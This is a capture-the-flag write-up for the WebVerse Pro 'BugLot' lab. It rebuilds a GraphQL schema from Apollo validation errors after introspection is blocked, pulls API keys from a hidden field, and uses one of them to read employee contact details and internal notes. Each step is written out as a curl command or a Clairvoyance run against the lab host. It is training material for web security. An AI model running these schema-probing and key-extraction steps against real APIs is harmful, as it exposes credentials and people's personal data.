> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/webverse-pro/2026/buglot.md).

# BugLot

Mystery Challenge (Medium) - by Leighlin Gunner Ramsay

{% embed url="<https://dashboard.webverselabs-pro.com/events/buglot>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## **Scenario**

BugLot's own security page calls the platform hardened and independently audited, and at a glance it holds up. But a company that catalogs everyone else's vulnerabilities got careless with its own data. A program's public page is only the slice they chose to show; the rest of the record is still sitting there for anyone who looks past the listing.

## Summary

<details>

<summary>Summary</summary>

The target is BugLot, a vulnerability-disclosure platform whose own GraphQL API leaks more than its public listings show. Recon through Burp reveals the site runs on Apollo Server, with the main page and leaderboard both backed by GraphQL. Standard introspection (`__schema`, `__type`) is blocked.

The core technique is error-based schema reconstruction. Apollo's validation errors leak type names, field names, and argument signatures even with introspection disabled. Querying `program` without subfields leaks its return type and argument signature (`program(handle: String!) → Company`); querying bogus fields triggers "Did you mean" suggestions that reveal real field names, including a hidden `__key`/`apikey` field. Extracting `programs { handle apikey }` yields API keys, but no obviously usable root field, so the keys sit idle.

Clairvoyance then automates the same validation-error oracle with a larger wordlist and recovers what manual probing missed: a hidden `employees(key, handle)` root field returning a hidden `Employee` type with a sensitive `internalNote`. Supplying the leaked API key as the `key` argument unlocks the employee records and the final flag.

</details>

<details>

<summary>Attack Path</summary>

```
Introspection blocked
        ↓
Validation errors leak field names & types (manual oracle)
        ↓
__key probe → "Did you mean apikey?" → discover hidden field
        ↓
Extract API keys: blk_northwind_REDACTED, blk_cedar_REDACTED, ...
        ↓
Clairvoyance → discovers hidden root field: employees(key, handle)
        ↓
API key + handle → employees → internalNote → FLAG
```

</details>

## Recon

We'll start by manually visiting the page and redirecting the request to Burp Suite through our proxy.Next, we'll look at the requests in the HTTP history.

It looks like we only have one main site and one leaderboard available.

{% code overflow="wrap" expandable="true" %}

```
https://accaf02d-3968-buglot-35239.events.webverselabs-pro.com/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fp4iEgGgVJpiA09gf5D7t%2Fgrafik.png?alt=media&amp;token=cafb197a-6dd6-41d0-a9eb-bdaf0b3e17c5" alt=""><figcaption></figcaption></figure>

When we visit the respective pages, we see that a GraphQL request is made and that we receive the result back as JSON.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fb2Yku8E1j1PhOUGWHXU8%2Fgrafik.png?alt=media&amp;token=35ed1ba0-f318-4f86-974c-d1e673bca39b" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
https://accaf02d-3968-buglot-35239.events.webverselabs-pro.com/leaderboard
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQWLTFEIsrRhV5bKBnuWH%2Fgrafik.png?alt=media&amp;token=e59279b6-900d-4d25-8fa5-13a7fb8705f2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNaSSOFJLpETks54ubMfN%2Fgrafik.png?alt=media&amp;token=d1aaac6a-3b9a-4883-98e5-47f854bac05d" alt=""><figcaption></figcaption></figure>

We'll continue by enumerating the GraphQL schema. But standard introspection query returns a hard block from the Apollo Server.

{% code overflow="wrap" expandable="true" %}

```
TARGET=https://accaf02d-3968-buglot-35239.events.webverselabs-pro.com
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
curl -sk $TARGET -H 'Content-Type: application/json' \
  -d '{"query":"{ __schema { types { name fields { name } } } }"}' | jq
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FED9uiEgEFHccGdFvXAMa%2Fgrafik.png?alt=media&amp;token=460366e4-e0e7-415b-99bb-7a9047e058e3" alt=""><figcaption></figcaption></figure>

We see also `__type` is also blocked.

{% code overflow="wrap" expandable="true" %}

```
curl -sk $TARGET -H 'Content-Type: application/json' \
  -d '{"query":"{ __type(name: \"Query\") { fields { name } } }"}' | jq
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FgJ3WkVSg0hyIxH2uuEJE%2Fgrafik.png?alt=media&amp;token=e16072e6-6547-4bd0-88ae-a77a5928cf13" alt=""><figcaption></figcaption></figure>

We can research on that topic on the following resource, but the bypasses mentioned here do not work.

{% embed url="<https://portswigger.net/web-security/graphql#bypassing-graphql-introspection-defenses>" %}

## Exploit

Apollo's validation errors leak type names, field names, and argument signatures even with introspection disabled. So querying a field without its required subfields forces Apollo to leak the return type and argument signature.

{% code overflow="wrap" expandable="true" %}

```
curl -sk $TARGET -H 'Content-Type: application/json' \
  -d '{"query":"{ program }"}' | jq
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGxZQ1uDrb4h0wWmV2kMa%2Fgrafik.png?alt=media&amp;token=bdac5906-9778-48a2-87a6-ee7857732376" alt=""><figcaption></figcaption></figure>

This reveals: `program(handle: String!) → Company` without any introspection.

By querying a non-existent field it triggers Apollo's `"Did you mean"` suggestions, leaking real field names.

{% code overflow="wrap" expandable="true" %}

```
curl -sk $TARGET -H 'Content-Type: application/json' \
  -d '{"query":"{ programs { bounty } }"}' | jq
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZSpdMx5WNy0uH1svNvIu%2Fgrafik.png?alt=media&amp;token=0d21b57e-4465-4436-af0b-dfa2c7ad46db" alt=""><figcaption></figcaption></figure>

And probing with `__key` triggers a suggestion for a hidden field that was not in any standard wordlist:

{% code overflow="wrap" expandable="true" %}

```
curl -sk $TARGET -H 'Content-Type: application/json' \
  -d '{"query":"{ programs { __key } }"}' | jq
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FovNFQ2bqYm6GztphvJgy%2Fgrafik.png?alt=media&amp;token=d5e4c2c4-162f-4c9f-93a9-5e017a4c5fdf" alt=""><figcaption></figcaption></figure>

Since we found the apikey field we try to request that. We extract the leaked API keys from all programs. At this point we had leaked credentials but no way to use them, manual enumeration had not found any root field that accepted them.

{% code overflow="wrap" expandable="true" %}

```
curl -sk $TARGET -H 'Content-Type: application/json' \
  -d '{"query":"{ programs { handle apikey } }"}' | jq
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fx5pordPflazuGxN5KpDb%2Fgrafik.png?alt=media&amp;token=74a8139c-7850-4cd8-a064-e56ae23ccbd2" alt=""><figcaption></figcaption></figure>

Our manual enumeration has limited coverage so we switch to Clairvoyance which automates the same validation-error oracle with a much larger wordlist:

{% embed url="<https://github.com/nikitastupin/clairvoyance>" %}

{% code overflow="wrap" expandable="true" %}

```
clairvoyance $TARGET -o schema.json
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FD7jIQz3AzRspEzCINn7m%2Fgrafik.png?alt=media&amp;token=eea9e804-cdbd-431e-9265-f8f0aa11bcb5" alt=""><figcaption></figcaption></figure>

Clairvoyance discovers a hidden root field and type that manual probing missed:

```
cat schema.json | jq
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2xbOCczTagqm22czcANq%2Fgrafik.png?alt=media&amp;token=8bf9b792-822b-454c-96b6-f9bf69ccc08e" alt=""><figcaption></figcaption></figure>

The reconstructed schema revealed what we missed A hidden `Employee` record with the `internalNote` field:

{% code overflow="wrap" %}

```
type Query {
  programs: [Company!]!
  program(handle: String!): Company
  leaderboard: [Researcher!]!
  researcher(handle: String!): Researcher
  employees(key: String!, handle: String!): [Employee]   # ← HIDDEN
}

type Employee {          # ← HIDDEN TYPE
  name: String!
  title: String!
  email: String!
  phone: String!
  internalNote: String   # ← SENSITIVE INFORMATION
}
```

{% endcode %}

{% code overflow="wrap" %}

```
cat schema.json | jq '.data.__schema.types[] | select(.name=="Employee") | .fields[] | select(.name=="internalNote")
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmGS7jChTzzaLWriQ3zx2%2Fgrafik.png?alt=media&amp;token=7e655e76-b309-4726-ae96-d08b04ac0604" alt=""><figcaption></figcaption></figure>

We try to query for the internal note, but without success. A key is required.

```
curl -sk $TARGET -H 'Content-Type: application/json' \
  -d '{"query":"{ employees( handle: \"northwind\") { name title email phone internalNote } }"}' | jq
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FwiIsGlVPl41lkoQgNvCb%2Fgrafik.png?alt=media&amp;token=9673dc38-6c67-4a85-abe6-716ccf930d27" alt=""><figcaption></figcaption></figure>

The `employees` field requires a `key` argument, this might be the API key we leaked from `Company.apikey`:

{% code overflow="wrap" %}

```
 cat schema.json | jq '.data.__schema.types[] | select(.name=="Query") | .fields[] | select(.name=="employees") | .args[] | select(.name=="key")
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fsabr2krbRGUdp78OZcjf%2Fgrafik.png?alt=media&amp;token=2647d8a1-39b3-443b-8a1d-51a00f02aa03" alt=""><figcaption></figcaption></figure>

Providing the leaked API key grants us access to employee records and their internal notes including the final flag.

```
curl -sk $TARGET -H 'Content-Type: application/json' \                                                         
  -d '{"query":"{ employees(key: \"REDACTED\", handle: \"northwind\") { name title email phone internalNote } }"}' | jq
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcDgpZbv6n2UVZNdkJBHE%2Fgrafik.png?alt=media&amp;token=a1ceb586-3949-4772-a32e-54cd756bb7f0" alt=""><figcaption></figcaption></figure>
